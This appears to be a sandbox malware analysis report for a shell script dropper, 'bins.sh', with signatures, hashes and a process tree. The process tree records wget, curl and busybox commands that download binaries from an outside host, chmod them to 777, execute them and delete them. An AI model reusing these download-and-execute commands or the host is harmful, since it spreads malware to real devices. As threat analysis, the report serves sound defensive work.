Overview

overview

7

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

3

bins.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    149s
  • max time network
    13s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/01/2025, 22:52

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250106-2tc9tstmdm
  • SHA256 5dc7aee91ae9da9c8d45cdb4ea6f1e5cda9861e6b5fd366c680749155920f90e
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
          • System Network Configuration Discovery
          PID:655
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:661
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
          • System Network Configuration Discovery
          PID:677
        • /bin/chmod
          chmod 777 Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          ./Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
          • Executes dropped EXE
          PID:680
        • /bin/rm
          rm Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/1NxxvytsOgNDmDzH8nz314SUwHhk6C9lcZ
            2⤵
            • System Network Configuration Discovery
            PID:683
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/1NxxvytsOgNDmDzH8nz314SUwHhk6C9lcZ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:685

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
              • Path /tmp/Xvs81925Oumiv0m9UDYeltoCZvzfTjLrCJ
              • Size 151KB
              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download